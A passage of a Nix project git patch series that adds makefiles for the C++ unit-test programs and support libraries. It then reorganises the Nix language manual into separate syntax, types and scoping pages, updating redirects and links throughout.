GTEST_OUTPUT=xml:$$testresults/libfetchers-tests.xml + +libfetchers-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libfetchers-tests_INSTALL_DIR := $(checkbindir) +else + libfetchers-tests_INSTALL_DIR := +endif + +libfetchers-tests_SOURCES := $(wildcard $(d)/*.cc) + +libfetchers-tests_EXTRA_INCLUDES = \ + -I tests/unit/libstore-support \ + -I tests/unit/libutil-support \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) \ + $(INCLUDE_libutil) + +libfetchers-tests_CXXFLAGS += $(libfetchers-tests_EXTRA_INCLUDES) + +libfetchers-tests_LIBS = \ + libstore-test-support libutil-test-support \ + libfetchers libstore libutil + +libfetchers-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libfetchers-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libflake/local.mk b/tests/unit/libflake/local.mk new file mode 100644 index 000000000..590bcf7c0 --- /dev/null +++ b/tests/unit/libflake/local.mk @@ -0,0 +1,43 @@ +check: libflake-tests_RUN + +programs += libflake-tests + +libflake-tests_NAME := libnixflake-tests + +libflake-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libflake-tests.xml + +libflake-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libflake-tests_INSTALL_DIR := $(checkbindir) +else + libflake-tests_INSTALL_DIR := +endif + +libflake-tests_SOURCES := \ + $(wildcard $(d)/*.cc) \ + $(wildcard $(d)/value/*.cc) \ + $(wildcard $(d)/flake/*.cc) + +libflake-tests_EXTRA_INCLUDES = \ + -I tests/unit/libflake-support \ + -I tests/unit/libstore-support \ + -I tests/unit/libutil-support \ + $(INCLUDE_libflake) \ + $(INCLUDE_libexpr) \ + $(INCLUDE_libfetchers) \ + $(INCLUDE_libstore) \ + $(INCLUDE_libutil) \ + +libflake-tests_CXXFLAGS += $(libflake-tests_EXTRA_INCLUDES) + +libflake-tests_LIBS = \ + libexpr-test-support libstore-test-support libutil-test-support \ + libflake libexpr libfetchers libstore libutil + +libflake-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libflake-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libstore-support/local.mk b/tests/unit/libstore-support/local.mk new file mode 100644 index 000000000..56dedd825 --- /dev/null +++ b/tests/unit/libstore-support/local.mk @@ -0,0 +1,21 @@ +libraries += libstore-test-support + +libstore-test-support_NAME = libnixstore-test-support + +libstore-test-support_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libstore-test-support_INSTALL_DIR := $(checklibdir) +else + libstore-test-support_INSTALL_DIR := +endif + +libstore-test-support_SOURCES := $(wildcard $(d)/tests/*.cc) + +libstore-test-support_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES) + +libstore-test-support_LIBS = \ + libutil-test-support \ + libstore libutil + +libstore-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk new file mode 100644 index 000000000..8d3d6b0af --- /dev/null +++ b/tests/unit/libstore/local.mk @@ -0,0 +1,38 @@ +check: libstore-tests_RUN + +programs += libstore-tests + +libstore-tests_NAME = libnixstore-tests + +libstore-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libstore-tests.xml + +libstore-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libstore-tests_INSTALL_DIR := $(checkbindir) +else + libstore-tests_INSTALL_DIR := +endif + +libstore-tests_SOURCES := $(wildcard $(d)/*.cc) + +libstore-tests_EXTRA_INCLUDES = \ + -I tests/unit/libstore-support \ + -I tests/unit/libutil-support \ + $(INCLUDE_libstore) \ + $(INCLUDE_libstorec) \ + $(INCLUDE_libutil) \ + $(INCLUDE_libutilc) + +libstore-tests_CXXFLAGS += $(libstore-tests_EXTRA_INCLUDES) + +libstore-tests_LIBS = \ + libstore-test-support libutil-test-support \ + libstore libstorec libutil libutilc + +libstore-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libstore-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libutil-support/local.mk b/tests/unit/libutil-support/local.mk new file mode 100644 index 000000000..5f7835c9f --- /dev/null +++ b/tests/unit/libutil-support/local.mk @@ -0,0 +1,19 @@ +libraries += libutil-test-support + +libutil-test-support_NAME = libnixutil-test-support + +libutil-test-support_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libutil-test-support_INSTALL_DIR := $(checklibdir) +else + libutil-test-support_INSTALL_DIR := +endif + +libutil-test-support_SOURCES := $(wildcard $(d)/tests/*.cc) + +libutil-test-support_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES) + +libutil-test-support_LIBS = libutil + +libutil-test-support_LDFLAGS := $(THREAD_LDFLAGS) -lrapidcheck diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk new file mode 100644 index 000000000..404f35cf1 --- /dev/null +++ b/tests/unit/libutil/local.mk @@ -0,0 +1,37 @@ +check: libutil-tests_RUN + +programs += libutil-tests + +libutil-tests_NAME = libnixutil-tests + +libutil-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libutil-tests.xml + +libutil-tests_DIR := $(d) + +ifeq ($(INSTALL_UNIT_TESTS), yes) + libutil-tests_INSTALL_DIR := $(checkbindir) +else + libutil-tests_INSTALL_DIR := +endif + +libutil-tests_SOURCES := $(wildcard $(d)/*.cc) + +libutil-tests_EXTRA_INCLUDES = \ + -I tests/unit/libutil-support \ + $(INCLUDE_libutil) \ + $(INCLUDE_libutilc) + +libutil-tests_CXXFLAGS += $(libutil-tests_EXTRA_INCLUDES) + +libutil-tests_LIBS = libutil-test-support libutil libutilc + +libutil-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libutil-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif + +check: $(d)/data/git/check-data.sh.test + +$(eval $(call run-test,$(d)/data/git/check-data.sh)) From a713476790c62a4c3b22ebc17bbd46ef75e96eb8 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Wed, 3 Jul 2024 09:03:41 +0200 Subject: [PATCH 0975/1251] docs: split types from syntax (#11013) move together all syntactic and semantic information into one page, and add a page on data types, which in turn links to the syntax and semantics. also split out the note on scoping rules into its own page. Co-authored-by: Ryan Hendrickson --- doc/manual/redirects.js | 14 +- doc/manual/src/SUMMARY.md.in | 7 +- doc/manual/src/_redirects | 2 + doc/manual/src/command-ref/env-common.md | 2 +- doc/manual/src/command-ref/nix-env/install.md | 2 +- doc/manual/src/command-ref/opt-common.md | 2 +- doc/manual/src/glossary.md | 8 +- doc/manual/src/language/constructs.md | 486 ---------- .../src/language/constructs/lookup-path.md | 2 +- doc/manual/src/language/derivations.md | 10 +- doc/manual/src/language/index.md | 60 +- doc/manual/src/language/operators.md | 16 +- doc/manual/src/language/scope.md | 14 + doc/manual/src/language/string-context.md | 2 +- .../src/language/string-interpolation.md | 6 +- doc/manual/src/language/syntax.md | 841 ++++++++++++++++++ doc/manual/src/language/types.md | 91 ++ doc/manual/src/language/values.md | 374 -------- src/libcmd/common-eval-args.cc | 2 +- src/libexpr/primops.cc | 23 +- 20 files changed, 1029 insertions(+), 935 deletions(-) delete mode 100644 doc/manual/src/language/constructs.md create mode 100644 doc/manual/src/language/scope.md create mode 100644 doc/manual/src/language/syntax.md create mode 100644 doc/manual/src/language/types.md delete mode 100644 doc/manual/src/language/values.md diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js index f7b479106..0f9f91b03 100644 --- a/doc/manual/redirects.js +++ b/doc/manual/redirects.js @@ -238,12 +238,12 @@ const redirects = { "attr-system": "language/derivations.html#attr-system", "ssec-derivation": "language/derivations.html", "ch-expression-language": "language/index.html", - "sec-constructs": "language/constructs.html", - "sect-let-language": "language/constructs.html#let-language", - "ss-functions": "language/constructs.html#functions", + "sec-constructs": "language/syntax.html", + "sect-let-language": "language/syntax.html#let-expressions", + "ss-functions": "language/syntax.html#functions", "sec-language-operators": "language/operators.html", "table-operators": "language/operators.html", - "ssec-values": "language/values.html", + "ssec-values": "language/types.html", "gloss-closure": "glossary.html#gloss-closure", "gloss-derivation": "glossary.html#gloss-derivation", "gloss-deriver": "glossary.html#gloss-deriver", @@ -335,11 +335,15 @@ const redirects = { "ssec-relnotes-2.2": "release-notes/rl-2.2.html", "ssec-relnotes-2.3": "release-notes/rl-2.3.html", }, - "language/values.html": { + "language/types.html": { "simple-values": "#primitives", "lists": "#list", "strings": "#string", "attribute-sets": "#attribute-set", + "type-number": "#type-int", + }, + "language/syntax.html": { + "scoping-rules": "scoping.html", }, "installation/installing-binary.html": { "linux": "uninstall.html#linux", diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index cb54a3822..6e5c1aee1 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -25,11 +25,12 @@ - [Store Types](store/types/index.md) {{#include ./store/types/SUMMARY.md}} - [Nix Language](language/index.md) - - [Data Types](language/values.md) - - [Language Constructs](language/constructs.md) + - [Data Types](language/types.md) + - [String context](language/string-context.md) + - [Syntax and semantics](language/syntax.md) + - [Scoping rules](language/scope.md) - [String interpolation](language/string-interpolation.md) - [Lookup path](language/constructs/lookup-path.md) - - [String context](language/string-context.md) - [Operators](language/operators.md) - [Derivations](language/derivations.md) - [Advanced Attributes](language/advanced-attributes.md) diff --git a/doc/manual/src/_redirects b/doc/manual/src/_redirects index 7f8edca8e..c52ca0ddd 100644 --- a/doc/manual/src/_redirects +++ b/doc/manual/src/_redirects @@ -27,6 +27,8 @@ /expressions/language-operators /language/operators 301! /expressions/language-values /language/values 301! /expressions/* /language/:splat 301! +/language/values /language/types 301! +/language/constructs /language/syntax 301! /installation/installation /installation 301! diff --git a/doc/manual/src/command-ref/env-common.md b/doc/manual/src/command-ref/env-common.md index 34e0dbfbd..d3f5f9c14 100644 --- a/doc/manual/src/command-ref/env-common.md +++ b/doc/manual/src/command-ref/env-common.md @@ -10,7 +10,7 @@ Most Nix commands interpret the following environment variables: - [`NIX_PATH`](#env-NIX_PATH) A colon-separated list of directories used to look up the location of Nix - expressions using [paths](@docroot@/language/values.md#type-path) + expressions using [paths](@docroot@/language/types.md#type-path) enclosed in angle brackets (i.e., ``), e.g. `/home/eelco/Dev:/etc/nixos`. It can be extended using the [`-I` option](@docroot@/command-ref/opt-common.md#opt-I). diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md index 76aa70f71..748dd1e7a 100644 --- a/doc/manual/src/command-ref/nix-env/install.md +++ b/doc/manual/src/command-ref/nix-env/install.md @@ -57,7 +57,7 @@ The arguments *args* map to store paths in a number of possible ways: easy way to copy user environment elements from one profile to another. -- If `--from-expression` is given, *args* are [Nix language functions](@docroot@/language/constructs.md#functions) that are called with the [default Nix expression] as their single argument. +- If `--from-expression` is given, *args* are [Nix language functions](@docroot@/language/syntax.md#functions) that are called with the [default Nix expression] as their single argument. The derivations returned by those function calls are installed. This allows derivations to be specified in an unambiguous way, which is necessary if there are multiple derivations with the same name. diff --git a/doc/manual/src/command-ref/opt-common.md b/doc/manual/src/command-ref/opt-common.md index 114b292f9..a42909e2d 100644 --- a/doc/manual/src/command-ref/opt-common.md +++ b/doc/manual/src/command-ref/opt-common.md @@ -143,7 +143,7 @@ Most Nix commands accept the following command-line options: This option is accepted by `nix-env`, `nix-instantiate`, `nix-shell` and `nix-build`. When evaluating Nix expressions, the expression evaluator will automatically try to call functions that it encounters. - It can automatically call functions for which every argument has a [default value](@docroot@/language/constructs.md#functions) (e.g., `{ argName ? defaultValue }: ...`). + It can automatically call functions for which every argument has a [default value](@docroot@/language/syntax.md#functions) (e.g., `{ argName ? defaultValue }: ...`). With `--arg`, you can also call functions that have arguments without a default value (or override a default value). That is, if the evaluator encounters a function with an argument named *name*, it will call it with value *value*. diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index 4c9b2c52e..f65ada63a 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -312,7 +312,7 @@ - [package attribute set]{#package-attribute-set} - An [attribute set](@docroot@/language/values.md#attribute-set) containing the attribute `type = "derivation";` (derivation for historical reasons), as well as other attributes, such as + An [attribute set](@docroot@/language/types.md#attribute-set) containing the attribute `type = "derivation";` (derivation for historical reasons), as well as other attributes, such as - attributes that refer to the files of a [package], typically in the form of [derivation outputs](#output), - attributes that declare something about how the package is supposed to be installed or used, - other metadata or arbitrary attributes. @@ -325,9 +325,9 @@ See [String interpolation](./language/string-interpolation.md) for details. - [string]: ./language/values.md#type-string - [path]: ./language/values.md#type-path - [attribute name]: ./language/values.md#attribute-set + [string]: ./language/types.md#type-string + [path]: ./language/types.md#type-path + [attribute name]: ./language/types.md#attribute-set - [base directory]{#gloss-base-directory} diff --git a/doc/manual/src/language/constructs.md b/doc/manual/src/language/constructs.md deleted file mode 100644 index 491d221b3..000000000 --- a/doc/manual/src/language/constructs.md +++ /dev/null @@ -1,486 +0,0 @@ -# Language Constructs - -## Recursive sets - -Recursive sets are like normal [attribute sets](./values.md#attribute-set), but the attributes can refer to each other. - -> *rec-attrset* = `rec {` [ *name* `=` *expr* `;` `]`... `}` - -Example: - -```nix -rec { - x = y; - y = 123; -}.x -``` - -This evaluates to `123`. - -Note that without `rec` the binding `x = y;` would -refer to the variable `y` in the surrounding scope, if one exists, and -would be invalid if no such variable exists. That is, in a normal -(non-recursive) set, attributes are not added to the lexical scope; in a -recursive set, they are. - -Recursive sets of course introduce the danger of infinite recursion. For -example, the expression - -```nix -rec { - x = y; - y = x; -}.x -``` - -will crash with an `infinite recursion encountered` error message. - -## Let-expressions - -A let-expression allows you to define local variables for an expression. - -> *let-in* = `let` [ *identifier* = *expr* ]... `in` *expr* - -Example: - -```nix -let - x = "foo"; - y = "bar"; -in x + y -``` - -This evaluates to `"foobar"`. - -## Inheriting attributes - -When defining an [attribute set](./values.md#attribute-set) or in a [let-expression](#let-expressions) it is often convenient to copy variables from the surrounding lexical scope (e.g., when you want to propagate attributes). -This can be shortened using the `inherit` keyword. - -Example: - -```nix -let x = 123; in -{ - inherit x; - y = 456; -} -``` - -is equivalent to - -```nix -let x = 123; in -{ - x = x; - y = 456; -} -``` - -and both evaluate to `{ x = 123; y = 456; }`. - -> **Note** -> -> This works because `x` is added to the lexical scope by the `let` construct. - -It is also possible to inherit attributes from another attribute set. - -Example: - -In this fragment from `all-packages.nix`, - -```nix -graphviz = (import ../tools/graphics/graphviz) { - inherit fetchurl stdenv libpng libjpeg expat x11 yacc; - inherit (xorg) libXaw; -}; - -xorg = { - libX11 = ...; - libXaw = ...; - ... -} - -libpng = ...; -libjpg = ...; -... -``` - -the set used in the function call to the function defined in -`../tools/graphics/graphviz` inherits a number of variables from the -surrounding scope (`fetchurl` ... `yacc`), but also inherits `libXaw` -(the X Athena Widgets) from the `xorg` set. - -Summarizing the fragment - -```nix -... -inherit x y z; -inherit (src-set) a b c; -... -``` - -is equivalent to - -```nix -... -x = x; y = y; z = z; -a = src-set.a; b = src-set.b; c = src-set.c; -... -``` - -when used while defining local variables in a let-expression or while -defining a set. - -In a `let` expression, `inherit` can be used to selectively bring specific attributes of a set into scope. For example - - -```nix -let - x = { a = 1; b = 2; }; - inherit (builtins) attrNames; -in -{ - names = attrNames x; -} -``` - -is equivalent to - -```nix -let - x = { a = 1; b = 2; }; -in -{ - names = builtins.attrNames x; -} -``` - -both evaluate to `{ names = [ "a" "b" ]; }`. - -## Functions - -Functions have the following form: - -```nix -pattern: body -``` - -The pattern specifies what the argument of the function must look like, -and binds variables in the body to (parts of) the argument. There are -three kinds of patterns: - - - If a pattern is a single identifier, then the function matches any - argument. Example: - - ```nix - let negate = x: !x; - concat = x: y: x + y; - in if negate true then concat "foo" "bar" else "" - ``` - - Note that `concat` is a function that takes one argument and returns - a function that takes another argument. This allows partial - parameterisation (i.e., only filling some of the arguments of a - function); e.g., - - ```nix - map (concat "foo") [ "bar" "bla" "abc" ] - ``` - - evaluates to `[ "foobar" "foobla" "fooabc" ]`. - - - A *set pattern* of the form `{ name1, name2, …, nameN }` matches a - set containing the listed attributes, and binds the values of those - attributes to variables in the function body. For example, the - function - - ```nix - { x, y, z }: z + y + x - ``` - - can only be called with a set containing exactly the attributes `x`, - `y` and `z`. No other attributes are allowed. If you want to allow - additional arguments, you can use an ellipsis (`...`): - - ```nix - { x, y, z, ... }: z + y + x - ``` - - This works on any set that contains at least the three named - attributes. - - It is possible to provide *default values* for attributes, in - which case they are allowed to be missing. A default value is - specified by writing `name ? e`, where *e* is an arbitrary - expression. For example, - - ```nix - { x, y ? "foo", z ? "bar" }: z + y + x - ``` - - specifies a function that only requires an attribute named `x`, but - optionally accepts `y` and `z`. - - - An `@`-pattern provides a means of referring to the whole value - being matched: - - ```nix - args@{ x, y, z, ... }: z + y + x + args.a - ``` - - but can also be written as: - - ```nix - { x, y, z, ... } @ args: z + y + x + args.a - ``` - - Here `args` is bound to the argument *as passed*, which is further - matched against the pattern `{ x, y, z, ... }`. - The `@`-pattern makes mainly sense with an ellipsis(`...`) as - you can access attribute names as `a`, using `args.a`, which was - given as an additional attribute to the function. - - > **Warning** - > - > `args@` binds the name `args` to the attribute set that is passed to the function. - > In particular, `args` does *not* include any default values specified with `?` in the function's set pattern. - > - > For instance - > - > ```nix - > let - > f = args@{ a ? 23, ... }: [ a args ]; - > in - > f {} - > ``` - > - > is equivalent to - > - > ```nix - > let - > f = args @ { ... }: [ (args.a or 23) args ]; - > in - > f {} - > ``` - > - > and both expressions will evaluate to: - > - > ```nix - > [ 23 {} ] - > ``` - -Note that functions do not have names. If you want to give them a name, -you can bind them to an attribute, e.g., - -```nix -let concat = { x, y }: x + y; -in concat { x = "foo"; y = "bar"; } -``` - -## Conditionals - -Conditionals look like this: - -```nix -if e1 then e2 else e3 -``` - -where *e1* is an expression that should evaluate to a Boolean value -(`true` or `false`). - -## Assertions - -Assertions are generally used to check that certain requirements on or -between features and dependencies hold. They look like this: - -```nix -assert e1; e2 -``` - -where *e1* is an expression that should evaluate to a Boolean value. If -it evaluates to `true`, *e2* is returned; otherwise expression -evaluation is aborted and a backtrace is printed. - -Here is a Nix expression for the Subversion package that shows how -assertions can be used:. - -```nix -{ localServer ? false -, httpServer ? false -, sslSupport ? false -, pythonBindings ? false -, javaSwigBindings ? false -, javahlBindings ? false -, stdenv, fetchurl -, openssl ? null, httpd ? null, db4 ? null, expat, swig ? null, j2sdk ? null -}: - -assert localServer -> db4 != null; ① -assert httpServer -> httpd != null && httpd.expat == expat; ② -assert sslSupport -> openssl != null && (httpServer -> httpd.openssl == openssl); ③ -assert pythonBindings -> swig != null && swig.pythonSupport; -assert javaSwigBindings -> swig != null && swig.javaSupport; -assert javahlBindings -> j2sdk != null; - -stdenv.mkDerivation { - name = "subversion-1.1.1"; - ... - openssl = if sslSupport then openssl else null; ④ - ... -} -``` - -The points of interest are: - -1. This assertion states that if Subversion is to have support for - local repositories, then Berkeley DB is needed. So if the Subversion - function is called with the `localServer` argument set to `true` but - the `db4` argument set to `null`, then the evaluation fails. - - Note that `->` is the [logical - implication](https://en.wikipedia.org/wiki/Truth_table#Logical_implication) - Boolean operation. - -2. This is a more subtle condition: if Subversion is built with Apache - (`httpServer`) support, then the Expat library (an XML library) used - by Subversion should be same as the one used by Apache. This is - because in this configuration Subversion code ends up being linked - with Apache code, and if the Expat libraries do not match, a build- - or runtime link error or incompatibility might occur. - -3. This assertion says that in order for Subversion to have SSL support - (so that it can access `https` URLs), an OpenSSL library must be - passed. Additionally, it says that *if* Apache support is enabled, - then Apache's OpenSSL should match Subversion's. (Note that if - Apache support is not enabled, we don't care about Apache's - OpenSSL.) - -4. The conditional here is not really related to assertions, but is - worth pointing out: it ensures that if SSL support is disabled, then - the Subversion derivation is not dependent on OpenSSL, even if a - non-`null` value was passed. This prevents an unnecessary rebuild of - Subversion if OpenSSL changes. - -## With-expressions - -A *with-expression*, - -```nix -with e1; e2 -``` - -introduces the set *e1* into the lexical scope of the expression *e2*. -For instance, - -```nix -let as = { x = "foo"; y = "bar"; }; -in with as; x + y -``` - -evaluates to `"foobar"` since the `with` adds the `x` and `y` attributes -of `as` to the lexical scope in the expression `x + y`. The most common -use of `with` is in conjunction with the `import` function. E.g., - -```nix -with (import ./definitions.nix); ... -``` - -makes all attributes defined in the file `definitions.nix` available as -if they were defined locally in a `let`-expression. - -The bindings introduced by `with` do not shadow bindings introduced by -other means, e.g. - -```nix -let a = 3; in with { a = 1; }; let a = 4; in with { a = 2; }; ... -``` - -establishes the same scope as - -```nix -let a = 1; in let a = 2; in let a = 3; in let a = 4; in ... -``` - -Variables coming from outer `with` expressions *are* shadowed: - -```nix -with { a = "outer"; }; -with { a = "inner"; }; -a -``` - -Does evaluate to `"inner"`. - -## Comments - -- Inline comments start with `#` and run until the end of the line. - - > **Example** - > - > ```nix - > # A number - > 2 # Equals 1 + 1 - > ``` - > - > ```console - > 2 - > ``` - -- Block comments start with `/*` and run until the next occurrence of `*/`. - - > **Example** - > - > ```nix - > /* - > Block comments - > can span multiple lines. - > */ "hello" - > ``` - > - > ```console - > "hello" - > ``` - - This means that block comments cannot be nested. - - > **Example** - > - > ```nix - > /* /* nope */ */ 1 - > ``` - > - > ```console - > error: syntax error, unexpected '*' - > - > at «string»:1:15: - > - > 1| /* /* nope */ * - > | ^ - > ``` - - Consider escaping nested comments and unescaping them in post-processing. - - > **Example** - > - > ```nix - > /* /* nested *\/ */ 1 - > ``` - > - > ```console - > 1 - > ``` - -## Scoping rules - -Nix is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope), but with multiple scopes and shadowing rules. - -* primary scope --- explicitly-bound variables - * [`let`](#let-expressions) - * [`inherit`](#inheriting-attributes) - * function arguments - -* secondary scope --- implicitly-bound variables - * [`with`](#with-expressions) -Primary scope takes precedence over secondary scope. -See [`with`](#with-expressions) for a detailed example. diff --git a/doc/manual/src/language/constructs/lookup-path.md b/doc/manual/src/language/constructs/lookup-path.md index e87d2922b..11278f3a8 100644 --- a/doc/manual/src/language/constructs/lookup-path.md +++ b/doc/manual/src/language/constructs/lookup-path.md @@ -4,7 +4,7 @@ > > *lookup-path* = `<` *identifier* [ `/` *identifier* ]... `>` -A lookup path is an identifier with an optional path suffix that resolves to a [path value](@docroot@/language/values.md#type-path) if the identifier matches a search path entry. +A lookup path is an identifier with an optional path suffix that resolves to a [path value](@docroot@/language/types.md#type-path) if the identifier matches a search path entry. The value of a lookup path is determined by [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath). diff --git a/doc/manual/src/language/derivations.md b/doc/manual/src/language/derivations.md index b95900cdd..8879fe706 100644 --- a/doc/manual/src/language/derivations.md +++ b/doc/manual/src/language/derivations.md @@ -12,7 +12,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect ### Required -- [`name`]{#attr-name} ([String](@docroot@/language/values.md#type-string)) +- [`name`]{#attr-name} ([String](@docroot@/language/types.md#type-string)) A symbolic name for the derivation. It is added to the [store path] of the corresponding [store derivation] as well as to its [output paths](@docroot@/glossary.md#gloss-output-path). @@ -31,7 +31,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect > The store derivation's path will be `/nix/store/-hello.drv`. > The [output](#attr-outputs) paths will be of the form `/nix/store/-hello[-]` -- [`system`]{#attr-system} ([String](@docroot@/language/values.md#type-string)) +- [`system`]{#attr-system} ([String](@docroot@/language/types.md#type-string)) The system type on which the [`builder`](#attr-builder) executable is meant to be run. @@ -66,7 +66,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect > > [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem) has the value of the [`system` configuration option], and defaults to the system type of the current Nix installation. -- [`builder`]{#attr-builder} ([Path](@docroot@/language/values.md#type-path) | [String](@docroot@/language/values.md#type-string)) +- [`builder`]{#attr-builder} ([Path](@docroot@/language/types.md#type-path) | [String](@docroot@/language/types.md#type-string)) Path to an executable that will perform the build. @@ -113,7 +113,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect ### Optional -- [`args`]{#attr-args} ([List](@docroot@/language/values.md#list) of [String](@docroot@/language/values.md#type-string)) +- [`args`]{#attr-args} ([List](@docroot@/language/types.md#list) of [String](@docroot@/language/types.md#type-string)) Default: `[ ]` @@ -132,7 +132,7 @@ It outputs an attribute set, and produces a [store derivation] as a side effect > }; > ``` -- [`outputs`]{#attr-outputs} ([List](@docroot@/language/values.md#list) of [String](@docroot@/language/values.md#type-string)) +- [`outputs`]{#attr-outputs} ([List](@docroot@/language/types.md#list) of [String](@docroot@/language/types.md#type-string)) Default: `[ "out" ]` diff --git a/doc/manual/src/language/index.md b/doc/manual/src/language/index.md index 3694480d7..2bfdbb8a0 100644 --- a/doc/manual/src/language/index.md +++ b/doc/manual/src/language/index.md @@ -53,7 +53,7 @@ This is an incomplete overview of language features, by example. - *Basic values ([primitives](@docroot@/language/values.md#primitives))* + *Basic values ([primitives](@docroot@/language/types.md#primitives))* @@ -71,7 +71,7 @@ This is an incomplete overview of language features, by example. - A [string](@docroot@/language/values.md#type-string) + A [string](@docroot@/language/types.md#type-string) @@ -102,7 +102,7 @@ This is an incomplete overview of language features, by example. - A [comment](@docroot@/language/constructs.md#comments). + A [comment](@docroot@/language/syntax.md#comments). @@ -130,7 +130,7 @@ This is an incomplete overview of language features, by example. - [Booleans](@docroot@/language/values.md#type-boolean) + [Booleans](@docroot@/language/types.md#type-boolean) @@ -142,7 +142,7 @@ This is an incomplete overview of language features, by example. - [Null](@docroot@/language/values.md#type-null) value + [Null](@docroot@/language/types.md#type-null) value @@ -154,7 +154,7 @@ This is an incomplete overview of language features, by example. - An [integer](@docroot@/language/values.md#type-number) + An [integer](@docroot@/language/types.md#type-int) @@ -166,7 +166,7 @@ This is an incomplete overview of language features, by example. - A [floating point number](@docroot@/language/values.md#type-number) + A [floating point number](@docroot@/language/types.md#type-float) @@ -178,7 +178,7 @@ This is an incomplete overview of language features, by example. - An absolute [path](@docroot@/language/values.md#type-path) + An absolute [path](@docroot@/language/types.md#type-path) @@ -190,7 +190,7 @@ This is an incomplete overview of language features, by example. - A [path](@docroot@/language/values.md#type-path) relative to the file containing this Nix expression + A [path](@docroot@/language/types.md#type-path) relative to the file containing this Nix expression @@ -202,7 +202,7 @@ This is an incomplete overview of language features, by example. - A home [path](@docroot@/language/values.md#type-path). Evaluates to the `"/.config"`. + A home [path](@docroot@/language/types.md#type-path). Evaluates to the `"/.config"`. @@ -238,7 +238,7 @@ This is an incomplete overview of language features, by example. - An [attribute set](@docroot@/language/values.md#attribute-set) with attributes named `x` and `y` + An [attribute set](@docroot@/language/types.md#attribute-set) with attributes named `x` and `y` @@ -262,7 +262,7 @@ This is an incomplete overview of language features, by example. - A [recursive set](@docroot@/language/constructs.md#recursive-sets), equivalent to `{ x = "foo"; y = "foobar"; }`. + A [recursive set](@docroot@/language/syntax.md#recursive-sets), equivalent to `{ x = "foo"; y = "foobar"; }`. @@ -278,7 +278,7 @@ This is an incomplete overview of language features, by example. - [Lists](@docroot@/language/values.md#list) with three elements. + [Lists](@docroot@/language/types.md#list) with three elements. @@ -362,7 +362,7 @@ This is an incomplete overview of language features, by example. - [Attribute selection](@docroot@/language/values.md#attribute-set) (evaluates to `1`) + [Attribute selection](@docroot@/language/types.md#attribute-set) (evaluates to `1`) @@ -374,7 +374,7 @@ This is an incomplete overview of language features, by example. - [Attribute selection](@docroot@/language/values.md#attribute-set) with default (evaluates to `3`) + [Attribute selection](@docroot@/language/types.md#attribute-set) with default (evaluates to `3`) @@ -410,7 +410,7 @@ This is an incomplete overview of language features, by example. - [Conditional expression](@docroot@/language/constructs.md#conditionals). + [Conditional expression](@docroot@/language/syntax.md#conditionals). @@ -422,7 +422,7 @@ This is an incomplete overview of language features, by example. - [Assertion](@docroot@/language/constructs.md#assertions) check (evaluates to `"yes!"`). + [Assertion](@docroot@/language/syntax.md#assertions) check (evaluates to `"yes!"`). @@ -434,7 +434,7 @@ This is an incomplete overview of language features, by example. - Variable definition. See [`let`-expressions](@docroot@/language/constructs.md#let-expressions). + Variable definition. See [`let`-expressions](@docroot@/language/syntax.md#let-expressions). @@ -448,7 +448,7 @@ This is an incomplete overview of language features, by example. Add all attributes from the given set to the scope (evaluates to `1`). - See [`with`-expressions](@docroot@/language/constructs.md#with-expressions) for details and shadowing caveats. + See [`with`-expressions](@docroot@/language/syntax.md#with-expressions) for details and shadowing caveats. @@ -462,7 +462,7 @@ This is an incomplete overview of language features, by example. Adds the variables to the current scope (attribute set or `let` binding). Desugars to `pkgs = pkgs; src = src;`. - See [Inheriting attributes](@docroot@/language/constructs.md#inheriting-attributes). + See [Inheriting attributes](@docroot@/language/syntax.md#inheriting-attributes). @@ -476,14 +476,14 @@ This is an incomplete overview of language features, by example. Adds the attributes, from the attribute set in parentheses, to the current scope (attribute set or `let` 